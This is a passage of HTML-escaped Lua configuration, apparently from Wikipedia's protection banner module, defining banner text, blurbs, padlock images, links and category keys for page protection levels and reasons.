				.. &#039; it is being rebuilt.\n\n&#039;&lt;br /&gt;
				.. &#039;Any insertion of material directly from&#039;&lt;br /&gt;
				.. &#039; pre-protection revisions of the ${PAGETYPE} will be removed, as&#039;&lt;br /&gt;
				.. &#039; will any material added to the ${PAGETYPE} that is not properly&#039;&lt;br /&gt;
				.. &#039; sourced. The associated talk page(s) were also cleared on the&#039;&lt;br /&gt;
				.. &amp;quot; same date.\n\n&amp;quot;&lt;br /&gt;
				.. &amp;quot;If you can edit this page, please discuss all changes and&amp;quot;&lt;br /&gt;
				.. &amp;quot; additions on the ${TALKPAGE} first. &#039;&#039;&#039;Do not override&amp;quot;&lt;br /&gt;
				.. &amp;quot; this action, and do not remove protection from this page,&amp;quot;&lt;br /&gt;
				.. &amp;quot; unless you are authorized by the Wikimedia Foundation&amp;quot;&lt;br /&gt;
				.. &amp;quot; to do so. No editor may remove this notice.&#039;&#039;&#039;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
				return ret&lt;br /&gt;
			end,&lt;br /&gt;
			image = &#039;Office-protection-shackle.svg&#039;,&lt;br /&gt;
			link = &#039;Wikipedia:Protection policy#office&#039;,&lt;br /&gt;
		},&lt;br /&gt;
		sock = {&lt;br /&gt;
			description = &#039;For pages protected due to&#039;&lt;br /&gt;
				.. &#039; [[Wikipedia:Sock puppetry|sock puppetry]]&#039;,&lt;br /&gt;
			text = &#039;${INTROFRAGMENT} to prevent [[Wikipedia:Sock puppetry|sock puppets]] of&#039;&lt;br /&gt;
				.. &#039; [[Wikipedia:Blocking policy|blocked]] or&#039;&lt;br /&gt;
				.. &#039; [[Wikipedia:Banning policy|banned users]]&#039;&lt;br /&gt;
				.. &#039; from editing it.&#039;,&lt;br /&gt;
			tooltip = &#039;${TOOLTIPFRAGMENT} to prevent sock puppets of blocked or banned users from&#039;&lt;br /&gt;
				.. &#039; editing it&#039;,&lt;br /&gt;
		},&lt;br /&gt;
		template = {&lt;br /&gt;
			description = &#039;For [[Wikipedia:High-risk templates|high-risk]]&#039;&lt;br /&gt;
				.. &#039; templates and Lua modules&#039;,&lt;br /&gt;
			text = &#039;This is a permanently [[Help:Protection|protected]] ${PAGETYPE},&#039;&lt;br /&gt;
				.. &#039; as it is [[Wikipedia:High-risk templates|high-risk]].&#039;,&lt;br /&gt;
			explanation = &#039;Please discuss any changes on the ${TALKPAGE}; you may&#039;&lt;br /&gt;
				.. &#039; ${EDITREQUEST} to ask an&#039;&lt;br /&gt;
				.. &#039; [[Wikipedia:Administrators|administrator]] or&#039;&lt;br /&gt;
				.. &#039; [[Wikipedia:Template editor|template editor]] to make an edit if&#039;&lt;br /&gt;
				.. &#039; it is [[Help:Minor edit#When to mark an edit as a minor edit&#039;&lt;br /&gt;
				.. &#039;|uncontroversial]] or supported by&#039;&lt;br /&gt;
				.. &#039; [[Wikipedia:Consensus|consensus]]. You can also&#039;&lt;br /&gt;
				.. &#039; [[Wikipedia:Requests for page protection|request]] that the page be&#039;&lt;br /&gt;
				.. &#039; unprotected.&#039;,&lt;br /&gt;
			tooltip = &#039;This high-risk ${PAGETYPE} is permanently ${PROTECTIONLEVEL}&#039;&lt;br /&gt;
				.. &#039; to prevent vandalism&#039;,&lt;br /&gt;
			alt = &#039;Permanently protected ${PAGETYPE}&#039;,&lt;br /&gt;
		},&lt;br /&gt;
		usertalk = {&lt;br /&gt;
			description = &#039;For pages protected against disruptive edits by a&#039;&lt;br /&gt;
				.. &#039; particular user&#039;,&lt;br /&gt;
			text = &#039;${INTROFRAGMENT} to prevent ${VANDAL} from using it to make disruptive edits,&#039;&lt;br /&gt;
				.. &#039; such as abusing the&#039;&lt;br /&gt;
				.. &#039; &amp;amp;#123;&amp;amp;#123;[[Template:unblock|unblock]]&amp;amp;#125;&amp;amp;#125; template.&#039;,&lt;br /&gt;
			explanation = &#039;If you cannot edit this user talk page and you need to&#039;&lt;br /&gt;
				.. &#039; make a change or leave a message, you can&#039;&lt;br /&gt;
				.. &#039; [[Wikipedia:Requests for page protection&#039;&lt;br /&gt;
				.. &#039;#Current requests for edits to a protected page&#039;&lt;br /&gt;
				.. &#039;|request an edit]],&#039;&lt;br /&gt;
				.. &#039; [[Wikipedia:Requests for page protection&#039;&lt;br /&gt;
				.. &#039;#Current requests for reduction in protection level&#039;&lt;br /&gt;
				.. &#039;|request unprotection]],&#039;&lt;br /&gt;
				.. &#039; [[Special:Userlogin|log in]],&#039;&lt;br /&gt;
				.. &#039; or [[Special:UserLogin/signup|create an account]].&#039;,&lt;br /&gt;
		},&lt;br /&gt;
		vandalism = {&lt;br /&gt;
			description = &#039;For pages protected against&#039;&lt;br /&gt;
				.. &#039; [[Wikipedia:Vandalism|vandalism]]&#039;,&lt;br /&gt;
			text = &#039;${INTROFRAGMENT} due to [[Wikipedia:Vandalism|vandalism]].&#039;,&lt;br /&gt;
			explanation = function (protectionObj, args)&lt;br /&gt;
				local ret = &#039;&#039;&lt;br /&gt;
				if protectionObj.level == &#039;sysop&#039; then&lt;br /&gt;
					ret = ret .. &amp;quot;This protection is &#039;&#039;&#039;not&#039;&#039;&#039; an endorsement of the&amp;quot;&lt;br /&gt;
						.. &#039; ${CURRENTVERSION}. &#039;&lt;br /&gt;
				end&lt;br /&gt;
				return ret .. &#039;${EXPLANATIONBLURB}&#039;&lt;br /&gt;
			end,&lt;br /&gt;
			tooltip = &#039;${TOOLTIPFRAGMENT} due to vandalism&#039;,&lt;br /&gt;
		}&lt;br /&gt;
	},&lt;br /&gt;
	move = {&lt;br /&gt;
		dispute = {&lt;br /&gt;
			description = &#039;For pages protected against page moves due to&#039;&lt;br /&gt;
				.. &#039; disputes over the page title&#039;,&lt;br /&gt;
			explanation = &amp;quot;This protection is &#039;&#039;&#039;not&#039;&#039;&#039; an endorsement of the&amp;quot;&lt;br /&gt;
				.. &#039; ${CURRENTVERSION}. ${EXPLANATIONBLURB}&#039;,&lt;br /&gt;
			image = &#039;Move-protection-shackle.svg&#039;&lt;br /&gt;
		},&lt;br /&gt;
		vandalism = {&lt;br /&gt;
			description = &#039;For pages protected against&#039;&lt;br /&gt;
				.. &#039; [[Wikipedia:Vandalism#Page-move vandalism&#039;&lt;br /&gt;
				.. &#039; |page-move vandalism]]&#039;&lt;br /&gt;
		}&lt;br /&gt;
	},&lt;br /&gt;
	autoreview = {},&lt;br /&gt;
	upload = {}&lt;br /&gt;
},&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
--&lt;br /&gt;
--                            GENERAL DATA TABLES&lt;br /&gt;
--&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Protection blurbs&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- This table produces the protection blurbs available with the&lt;br /&gt;
-- ${PROTECTIONBLURB} parameter. It is sorted by protection action and&lt;br /&gt;
-- protection level, and is checked by the module in the following order:&lt;br /&gt;
-- 1. page&#039;s protection action, page&#039;s protection level&lt;br /&gt;
-- 2. page&#039;s protection action, default protection level&lt;br /&gt;
-- 3. &amp;quot;edit&amp;quot; protection action, default protection level&lt;br /&gt;
--&lt;br /&gt;
-- It is possible to use banner parameters inside this table.&lt;br /&gt;
-- *required* - this table needs edit, move, autoreview and upload subtables.&lt;br /&gt;
protectionBlurbs = {&lt;br /&gt;
	edit = {&lt;br /&gt;
		default = &#039;This ${PAGETYPE} is currently [[Help:Protection|&#039;&lt;br /&gt;
			.. &#039;protected]] from editing&#039;,&lt;br /&gt;
		autoconfirmed = &#039;Editing of this ${PAGETYPE} by [[Wikipedia:User access&#039;&lt;br /&gt;
			.. &#039; levels#New users|new]] or [[Wikipedia:User access levels#Unregistered&#039;&lt;br /&gt;
			.. &#039; users|unregistered]] users is currently [[Help:Protection|disabled]]&#039;,&lt;br /&gt;
		extendedconfirmed = &#039;This ${PAGETYPE} is currently under extended confirmed protection&#039;,&lt;br /&gt;
	},&lt;br /&gt;
	move = {&lt;br /&gt;
		default = &#039;This ${PAGETYPE} is currently [[Help:Protection|protected]]&#039;&lt;br /&gt;
			.. &#039; from [[Help:Moving a page|page moves]]&#039;&lt;br /&gt;
	},&lt;br /&gt;
	autoreview = {&lt;br /&gt;
		default = &#039;All edits made to this ${PAGETYPE} by&#039;&lt;br /&gt;
			.. &#039; [[Wikipedia:User access levels#New users|new]] or&#039;&lt;br /&gt;
			.. &#039; [[Wikipedia:User access levels#Unregistered users|unregistered]]&#039;&lt;br /&gt;
			.. &#039; users are currently&#039;&lt;br /&gt;
			.. &#039; [[Wikipedia:Pending changes|subject to review]]&#039;&lt;br /&gt;
	},&lt;br /&gt;
	upload = {&lt;br /&gt;
		default = &#039;Uploading new versions of this ${PAGETYPE} is currently disabled&#039;&lt;br /&gt;
	}&lt;br /&gt;
},&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Explanation blurbs&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- This table produces the explanation blurbs available with the&lt;br /&gt;
-- ${EXPLANATIONBLURB} parameter. It is sorted by protection action,&lt;br /&gt;
-- protection level, and whether the page is a talk page or not. If the page is&lt;br /&gt;
-- a talk page it will have a talk key of &amp;quot;talk&amp;quot;; otherwise it will have a talk&lt;br /&gt;
-- key of &amp;quot;subject&amp;quot;. The table is checked in the following order:&lt;br /&gt;
-- 1. page&#039;s protection action, page&#039;s protection level, page&#039;s talk key&lt;br /&gt;
-- 2. page&#039;s protection action, page&#039;s protection level, default talk key&lt;br /&gt;
-- 3. page&#039;s protection action, default protection level, page&#039;s talk key&lt;br /&gt;
-- 4. page&#039;s protection action, default protection level, default talk key&lt;br /&gt;
--&lt;br /&gt;
-- It is possible to use banner parameters inside this table.&lt;br /&gt;
-- *required* - this table needs edit, move, autoreview and upload subtables.&lt;br /&gt;
explanationBlurbs = {&lt;br /&gt;
	edit = {&lt;br /&gt;
		autoconfirmed = {&lt;br /&gt;
			subject = &#039;See the [[Wikipedia:Protection policy|&#039;&lt;br /&gt;
				.. &#039;protection policy]] and ${PROTECTIONLOG} for more details. If you&#039;&lt;br /&gt;
				.. &#039; cannot edit this ${PAGETYPE} and you wish to make a change, you can&#039;&lt;br /&gt;
				.. &#039; ${EDITREQUEST}, discuss changes on the ${TALKPAGE},&#039;&lt;br /&gt;
				.. &#039; [[Wikipedia:Requests for page protection&#039;&lt;br /&gt;
				.. &#039;#Current requests for reduction in protection level&#039;&lt;br /&gt;
				.. &#039;|request unprotection]], [[Special:Userlogin|log in]], or&#039;&lt;br /&gt;
				.. &#039; [[Special:UserLogin/signup|create an account]].&#039;,&lt;br /&gt;
			default = &#039;See the [[Wikipedia:Protection policy|&#039;&lt;br /&gt;
				.. &#039;protection policy]] and ${PROTECTIONLOG} for more details. If you&#039;&lt;br /&gt;
				.. &#039; cannot edit this ${PAGETYPE} and you wish to make a change, you can&#039;&lt;br /&gt;
				.. &#039; [[Wikipedia:Requests for page protection&#039;&lt;br /&gt;
				.. &#039;#Current requests for reduction in protection level&#039;&lt;br /&gt;
				.. &#039;|request unprotection]], [[Special:Userlogin|log in]], or&#039;&lt;br /&gt;
				.. &#039; [[Special:UserLogin/signup|create an account]].&#039;,&lt;br /&gt;
		},&lt;br /&gt;
		extendedconfirmed = {&lt;br /&gt;
			default = &#039;Extended confirmed protection prevents edits from all unregistered editors&#039;&lt;br /&gt;
				.. &#039; and registered users with fewer than 30 days tenure and 500 edits.&#039;&lt;br /&gt;
				.. &#039; The [[Wikipedia:Protection policy#extended|policy on community use]]&#039;&lt;br /&gt;
				.. &#039; specifies that extended confirmed protection can be applied to combat&#039;&lt;br /&gt;
				.. &#039; disruption, if semi-protection has proven to be ineffective.&#039;&lt;br /&gt;
				.. &#039; Extended confirmed protection may also be applied to enforce&#039;&lt;br /&gt;
				.. &#039; [[Wikipedia:Arbitration Committee|arbitration sanctions]].&#039;&lt;br /&gt;
				.. &#039; Please discuss any changes on the ${TALKPAGE}; you may&#039;&lt;br /&gt;
				.. &#039; ${EDITREQUEST} to ask for uncontroversial changes supported by&#039;&lt;br /&gt;
				.. &#039; [[Wikipedia:Consensus|consensus]].&#039;&lt;br /&gt;
		},&lt;br /&gt;
		default = {&lt;br /&gt;
			subject = &#039;See the [[Wikipedia:Protection policy|&#039;&lt;br /&gt;
				.. &#039;protection policy]] and ${PROTECTIONLOG} for more details.&#039;&lt;br /&gt;
				.. &#039; Please discuss any changes on the ${TALKPAGE}; you&#039;&lt;br /&gt;
				.. &#039; may ${EDITREQUEST} to ask an&#039;&lt;br /&gt;
				.. &#039; [[Wikipedia:Administrators|administrator]] to make an edit if it&#039;&lt;br /&gt;
				.. &#039; is [[Help:Minor edit#When to mark an edit as a minor edit&#039;&lt;br /&gt;
				.. &#039;|uncontroversial]] or supported by [[Wikipedia:Consensus&#039;&lt;br /&gt;
				.. &#039;|consensus]]. You may also [[Wikipedia:Requests for&#039;&lt;br /&gt;
				.. &#039; page protection#Current requests for reduction in protection level&#039;&lt;br /&gt;
				.. &#039;|request]] that this page be unprotected.&#039;,&lt;br /&gt;
			default = &#039;See the [[Wikipedia:Protection policy|&#039;&lt;br /&gt;
				.. &#039;protection policy]] and ${PROTECTIONLOG} for more details.&#039;&lt;br /&gt;
				.. &#039; You may [[Wikipedia:Requests for page&#039;&lt;br /&gt;
				.. &#039; protection#Current requests for edits to a protected page|request an&#039;&lt;br /&gt;
				.. &#039; edit]] to this page, or [[Wikipedia:Requests for&#039;&lt;br /&gt;
				.. &#039; page protection#Current requests for reduction in protection level&#039;&lt;br /&gt;
				.. &#039;|ask]] for it to be unprotected.&#039;&lt;br /&gt;
		}&lt;br /&gt;
	},&lt;br /&gt;
	move = {&lt;br /&gt;
		default = {&lt;br /&gt;
			subject = &#039;See the [[Wikipedia:Protection policy|&#039;&lt;br /&gt;
				.. &#039;protection policy]] and ${PROTECTIONLOG} for more details.&#039;&lt;br /&gt;
				.. &#039; The page may still be edited but cannot be moved&#039;&lt;br /&gt;
				.. &#039; until unprotected. Please discuss any suggested moves on the&#039;&lt;br /&gt;
				.. &#039; ${TALKPAGE} or at [[Wikipedia:Requested moves]]. You can also&#039;&lt;br /&gt;
				.. &#039; [[Wikipedia:Requests for page protection|request]] that the page be&#039;&lt;br /&gt;
				.. &#039; unprotected.&#039;,&lt;br /&gt;
			default = &#039;See the [[Wikipedia:Protection policy|&#039;&lt;br /&gt;
				.. &#039;protection policy]] and ${PROTECTIONLOG} for more details.&#039;&lt;br /&gt;
				.. &#039; The page may still be edited but cannot be moved&#039;&lt;br /&gt;
				.. &#039; until unprotected. Please discuss any suggested moves at&#039;&lt;br /&gt;
				.. &#039; [[Wikipedia:Requested moves]]. You can also&#039;&lt;br /&gt;
				.. &#039; [[Wikipedia:Requests for page protection|request]] that the page be&#039;&lt;br /&gt;
				.. &#039; unprotected.&#039;&lt;br /&gt;
		}&lt;br /&gt;
	},&lt;br /&gt;
	autoreview = {&lt;br /&gt;
		default = {&lt;br /&gt;
			default = &#039;See the [[Wikipedia:Protection policy|&#039;&lt;br /&gt;
				.. &#039;protection policy]] and ${PROTECTIONLOG} for more details.&#039;&lt;br /&gt;
				.. &#039; Edits to this ${PAGETYPE} by new and unregistered users&#039;&lt;br /&gt;
				.. &#039; will not be visible to readers until they are accepted by&#039;&lt;br /&gt;
				.. &#039; a reviewer. To avoid the need for your edits to be&#039;&lt;br /&gt;
				.. &#039; reviewed, you may&#039;&lt;br /&gt;
				.. &#039; [[Wikipedia:Requests for page protection&#039;&lt;br /&gt;
				.. &#039;#Current requests for reduction in protection level&#039;&lt;br /&gt;
				.. &#039;|request unprotection]], [[Special:Userlogin|log in]], or&#039;&lt;br /&gt;
				.. &#039; [[Special:UserLogin/signup|create an account]].&#039;&lt;br /&gt;
		},&lt;br /&gt;
	},&lt;br /&gt;
	upload = {&lt;br /&gt;
		default = {&lt;br /&gt;
			default = &#039;See the [[Wikipedia:Protection policy|&#039;&lt;br /&gt;
				.. &#039;protection policy]] and ${PROTECTIONLOG} for more details.&#039;&lt;br /&gt;
				.. &#039; The page may still be edited but new versions of the file&#039;&lt;br /&gt;
				.. &#039; cannot be uploaded until it is unprotected. You can&#039;&lt;br /&gt;
				.. &#039; request that a new version be uploaded by using a&#039;&lt;br /&gt;
				.. &#039; [[Wikipedia:Edit requests|protected edit request]], or you&#039;&lt;br /&gt;
				.. &#039; can  [[Wikipedia:Requests for page protection|request]]&#039;&lt;br /&gt;
				.. &#039; that the file be unprotected.&#039;&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
},&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Protection levels&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- This table provides the data for the ${PROTECTIONLEVEL} parameter, which&lt;br /&gt;
-- produces a short label for different protection levels. It is sorted by&lt;br /&gt;
-- protection action and protection level, and is checked in the following&lt;br /&gt;
-- order:&lt;br /&gt;
-- 1. page&#039;s protection action, page&#039;s protection level&lt;br /&gt;
-- 2. page&#039;s protection action, default protection level&lt;br /&gt;
-- 3. &amp;quot;edit&amp;quot; protection action, default protection level&lt;br /&gt;
--&lt;br /&gt;
-- It is possible to use banner parameters inside this table.&lt;br /&gt;
-- *required* - this table needs edit, move, autoreview and upload subtables.&lt;br /&gt;
protectionLevels = {&lt;br /&gt;
	edit = {&lt;br /&gt;
		default = &#039;protected&#039;,&lt;br /&gt;
		templateeditor = &#039;template-protected&#039;,&lt;br /&gt;
		extendedconfirmed = &#039;extended-confirmed-protected&#039;,&lt;br /&gt;
		autoconfirmed = &#039;semi-protected&#039;,&lt;br /&gt;
	},&lt;br /&gt;
	move = {&lt;br /&gt;
		default = &#039;move-protected&#039;&lt;br /&gt;
	},&lt;br /&gt;
	autoreview = {&lt;br /&gt;
	},&lt;br /&gt;
	upload = {&lt;br /&gt;
		default = &#039;upload-protected&#039;&lt;br /&gt;
	}&lt;br /&gt;
},&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Images&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- This table lists different padlock images for each protection action and&lt;br /&gt;
-- protection level. It is used if an image is not specified in any of the&lt;br /&gt;
-- banner data tables, and if the page does not satisfy the conditions for using&lt;br /&gt;
-- the [&#039;image-filename-indef&#039;] image. It is checked in the following order:&lt;br /&gt;
-- 1. page&#039;s protection action, page&#039;s protection level&lt;br /&gt;
-- 2. page&#039;s protection action, default protection level&lt;br /&gt;
images = {&lt;br /&gt;
	edit = {&lt;br /&gt;
		default = &#039;Full-protection-shackle.svg&#039;,&lt;br /&gt;
		templateeditor = &#039;Template-protection-shackle.svg&#039;,&lt;br /&gt;
		extendedconfirmed = &#039;Extended-protection-shackle.svg&#039;,&lt;br /&gt;
		autoconfirmed = &#039;Semi-protection-shackle.svg&#039;&lt;br /&gt;
	},&lt;br /&gt;
	move = {&lt;br /&gt;
		default = &#039;Move-protection-shackle.svg&#039;,&lt;br /&gt;
	},&lt;br /&gt;
	autoreview = {&lt;br /&gt;
		default = &#039;Pending-protection-shackle.svg&#039;&lt;br /&gt;
	},&lt;br /&gt;
	upload = {&lt;br /&gt;
		default = &#039;Upload-protection-shackle.svg&#039;&lt;br /&gt;
	}&lt;br /&gt;
},&lt;br /&gt;
&lt;br /&gt;
-- Pages with a reason specified in this table will show the special &amp;quot;indef&amp;quot;&lt;br /&gt;
-- padlock, defined in the &#039;image-filename-indef&#039; message, if no expiry is set.&lt;br /&gt;
indefImageReasons = {&lt;br /&gt;
	template = true&lt;br /&gt;
},&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Image links&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- This table provides the data for the ${IMAGELINK} parameter, which gets&lt;br /&gt;
-- the image link for small padlock icons based on the page&#039;s protection action&lt;br /&gt;
-- and protection level. It is checked in the following order:&lt;br /&gt;
-- 1. page&#039;s protection action, page&#039;s protection level&lt;br /&gt;
-- 2. page&#039;s protection action, default protection level&lt;br /&gt;
-- 3. &amp;quot;edit&amp;quot; protection action, default protection level&lt;br /&gt;
--&lt;br /&gt;
-- It is possible to use banner parameters inside this table.&lt;br /&gt;
-- *required* - this table needs edit, move, autoreview and upload subtables.&lt;br /&gt;
imageLinks = {&lt;br /&gt;
	edit = {&lt;br /&gt;
		default = &#039;Wikipedia:Protection policy#full&#039;,&lt;br /&gt;
		templateeditor = &#039;Wikipedia:Protection policy#template&#039;,&lt;br /&gt;
		extendedconfirmed = &#039;Wikipedia:Protection policy#extended&#039;,&lt;br /&gt;
		autoconfirmed = &#039;Wikipedia:Protection policy#semi&#039;&lt;br /&gt;
	},&lt;br /&gt;
	move = {&lt;br /&gt;
		default = &#039;Wikipedia:Protection policy#move&#039;&lt;br /&gt;
	},&lt;br /&gt;
	autoreview = {&lt;br /&gt;
		default = &#039;Wikipedia:Protection policy#pending&#039;&lt;br /&gt;
	},&lt;br /&gt;
	upload = {&lt;br /&gt;
		default = &#039;Wikipedia:Protection policy#upload&#039;&lt;br /&gt;
	}&lt;br /&gt;
},&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Padlock indicator names&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- This table provides the &amp;quot;name&amp;quot; attribute for the &amp;lt;indicator&amp;gt; extension tag&lt;br /&gt;
-- with which small padlock icons are generated. All indicator tags on a page&lt;br /&gt;
-- are displayed in alphabetical order based on this attribute, and with&lt;br /&gt;
-- indicator tags with duplicate names, the last tag on the page wins.&lt;br /&gt;
-- The attribute is chosen based on the protection action; table keys must be a&lt;br /&gt;
-- protection action name or the string &amp;quot;default&amp;quot;.&lt;br /&gt;
padlockIndicatorNames = {&lt;br /&gt;
	autoreview = &#039;pp-autoreview&#039;,&lt;br /&gt;
	default = &#039;pp-default&#039;&lt;br /&gt;
},&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Protection categories&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
--[[&lt;br /&gt;
-- The protection categories are stored in the protectionCategories table.&lt;br /&gt;
-- Keys to this table are made up of the following strings:&lt;br /&gt;
--&lt;br /&gt;
-- 1. the expiry date&lt;br /&gt;
-- 2. the namespace&lt;br /&gt;
-- 3. the protection reason (e.g. &amp;quot;dispute&amp;quot; or &amp;quot;vandalism&amp;quot;)&lt;br /&gt;
-- 4. the protection level (e.g. &amp;quot;sysop&amp;quot; or &amp;quot;autoconfirmed&amp;quot;)&lt;br /&gt;
-- 5. the action (e.g. &amp;quot;edit&amp;quot; or &amp;quot;move&amp;quot;)&lt;br /&gt;
-- &lt;br /&gt;
-- When the module looks up a category in the table, first it will will check to&lt;br /&gt;
-- see a key exists that corresponds to all five parameters. For example, a&lt;br /&gt;
-- user page semi-protected from vandalism for two weeks would have the key&lt;br /&gt;
-- &amp;quot;temp-user-vandalism-autoconfirmed-edit&amp;quot;. If no match is found, the module&lt;br /&gt;
-- changes the first part of the key to &amp;quot;all&amp;quot; and checks the table again. It&lt;br /&gt;
-- keeps checking increasingly generic key combinations until it finds the&lt;br /&gt;
-- field, or until it reaches the key &amp;quot;all-all-all-all-all&amp;quot;.&lt;br /&gt;
--&lt;br /&gt;
-- The module uses a binary matrix to determine the order in which to search.&lt;br /&gt;
-- This is best demonstrated by a table. In this table, the &amp;quot;0&amp;quot; values&lt;br /&gt;
-- represent &amp;quot;all&amp;quot;, and the &amp;quot;1&amp;quot; values represent the original data (e.g.&lt;br /&gt;
-- &amp;quot;indef&amp;quot; or &amp;quot;file&amp;quot; or &amp;quot;vandalism&amp;quot;).&lt;br /&gt;
--&lt;br /&gt;
--        expiry    namespace reason   level     action&lt;br /&gt;
-- order&lt;br /&gt;
-- 1      1         1         1        1         1&lt;br /&gt;
-- 2      0         1         1        1         1&lt;br /&gt;
-- 3      1         0         1        1         1&lt;br /&gt;
-- 4      0         0         1        1         1&lt;br /&gt;
-- 5      1         1         0        1         1&lt;br /&gt;
-- 6      0         1         0        1         1&lt;br /&gt;
-- 7      1         0         0        1         1&lt;br /&gt;
-- 8      0         0         0        1         1&lt;br /&gt;
-- 9      1         1         1        0         1&lt;br /&gt;
-- 10     0         1         1        0         1&lt;br /&gt;
-- 11     1         0         1        0         1&lt;br /&gt;
-- 12     0         0         1        0         1&lt;br /&gt;
-- 13     1         1         0        0         1&lt;br /&gt;
-- 14     0         1         0        0         1&lt;br /&gt;
-- 15     1         0         0        0         1&lt;br /&gt;
-- 16     0         0         0        0         1&lt;br /&gt;
-- 17     1         1         1        1         0&lt;br /&gt;
-- 18     0         1         1        1         0&lt;br /&gt;
-- 19     1         0         1        1         0&lt;br /&gt;
-- 20     0         0         1        1         0&lt;br /&gt;
-- 21     1         1         0        1         0&lt;br /&gt;
-- 22     0         1         0        1         0&lt;br /&gt;
-- 23     1         0         0        1         0&lt;br /&gt;
-- 24     0         0         0        1         0&lt;br /&gt;
-- 25     1         1         1        0         0&lt;br /&gt;
-- 26     0         1         1        0         0&lt;br /&gt;
-- 27     1         0         1        0         0&lt;br /&gt;
-- 28     0         0         1        0         0&lt;br /&gt;
-- 29     1         1         0        0         0&lt;br /&gt;
-- 30     0         1         0        0         0&lt;br /&gt;
-- 31     1         0         0        0         0&lt;br /&gt;
-- 32     0         0         0        0         0&lt;br /&gt;
--&lt;br /&gt;
-- In this scheme the action has the highest priority, as it is the last&lt;br /&gt;
-- to change, and the expiry has the least priority, as it changes the most.&lt;br /&gt;
-- The priorities of the expiry, the protection level and the action are&lt;br /&gt;
-- fixed, but the priorities of the reason and the namespace can be swapped&lt;br /&gt;
-- through the use of the cfg.bannerDataNamespaceHasPriority table.&lt;br /&gt;
--]]&lt;br /&gt;
&lt;br /&gt;
-- If the reason specified to the template is listed in this table,&lt;br /&gt;
-- namespace data will take priority over reason data in the protectionCategories&lt;br /&gt;
-- table.&lt;br /&gt;
reasonsWithNamespacePriority = {&lt;br /&gt;
	vandalism = true,&lt;br /&gt;
},&lt;br /&gt;
&lt;br /&gt;
-- The string to use as a namespace key for the protectionCategories table for each&lt;br /&gt;
-- namespace number.&lt;br /&gt;
categoryNamespaceKeys = {&lt;br /&gt;
	[  2] = &#039;user&#039;,&lt;br /&gt;
	[  3] = &#039;user&#039;,&lt;br /&gt;
	[  4] = &#039;project&#039;,&lt;br /&gt;
	[  6] = &#039;file&#039;,&lt;br /&gt;
	[  8] = &#039;mediawiki&#039;,&lt;br /&gt;
	[ 10] = &#039;template&#039;,&lt;br /&gt;
	[ 12] = &#039;project&#039;,&lt;br /&gt;
	[ 14] = &#039;category&#039;,&lt;br /&gt;
	[100] = &#039;portal&#039;,&lt;br /&gt;
	[828] = &#039;module&#039;,&lt;br /&gt;
},&lt;br /&gt;
&lt;br /&gt;
protectionCategories = {&lt;br /&gt;
	[&#039;all|all|all|all|all&#039;]                     = &#039;Wikipedia fully protected pages&#039;,&lt;br /&gt;
	[&#039;all|all|office|all|all&#039;]                  = &#039;Wikipedia Office-protected pages&#039;,&lt;br /&gt;
	[&#039;all|all|reset|all|all&#039;]                   = &#039;Wikipedia Office-protected pages&#039;,&lt;br /&gt;
	[&#039;all|all|dmca|all|all&#039;]                    = &#039;Wikipedia Office-protected pages&#039;,&lt;br /&gt;
	[&#039;all|all|mainpage|all|all&#039;]                = &#039;Wikipedia fully protected main page files&#039;,&lt;br /&gt;
	[&#039;all|all|all|extendedconfirmed|all&#039;]       = &#039;Wikipedia extended-confirmed-protected pages&#039;,&lt;br /&gt;
	[&#039;all|all|ecp|extendedconfirmed|all&#039;]       = &#039;Wikipedia extended-confirmed-protected pages&#039;,&lt;br /&gt;
	[&#039;all|template|all|all|edit&#039;]               = &#039;Wikipedia fully protected templates&#039;,&lt;br /&gt;
	[&#039;all|all|all|autoconfirmed|edit&#039;]          = &#039;Wikipedia semi-protected pages&#039;,&lt;br /&gt;
	[&#039;indef|all|all|autoconfirmed|edit&#039;]        = &#039;Wikipedia indefinitely semi-protected pages&#039;,&lt;br /&gt;
	[&#039;all|all|blp|autoconfirmed|edit&#039;]          = &#039;Wikipedia indefinitely semi-protected biographies of living people&#039;,&lt;br /&gt;
	[&#039;temp|all|blp|autoconfirmed|edit&#039;]         = &#039;Wikipedia temporarily semi-protected biographies of living people&#039;,&lt;br /&gt;
	[&#039;all|all|dispute|autoconfirmed|edit&#039;]      = &#039;Wikipedia pages semi-protected due to dispute&#039;,&lt;br /&gt;
	[&#039;all|all|sock|autoconfirmed|edit&#039;]         = &#039;Wikipedia pages semi-protected from banned users&#039;,&lt;br /&gt;
	[&#039;all|all|vandalism|autoconfirmed|edit&#039;]    = &#039;Wikipedia pages semi-protected against vandalism&#039;,&lt;br /&gt;
	[&#039;all|category|all|autoconfirmed|edit&#039;]     = &#039;Wikipedia semi-protected categories&#039;,&lt;br /&gt;
	[&#039;all|file|all|autoconfirmed|edit&#039;]         = &#039;Wikipedia semi-protected files&#039;,&lt;br /&gt;
	[&#039;all|portal|all|autoconfirmed|edit&#039;]       = &#039;Wikipedia semi-protected portals&#039;,&lt;br /&gt;
	[&#039;all|project|all|autoconfirmed|edit&#039;]      = &#039;Wikipedia semi-protected project pages&#039;,&lt;br /&gt;
	[&#039;all|talk|all|autoconfirmed|edit&#039;]         = &#039;Wikipedia semi-protected talk pages&#039;,&lt;br /&gt;
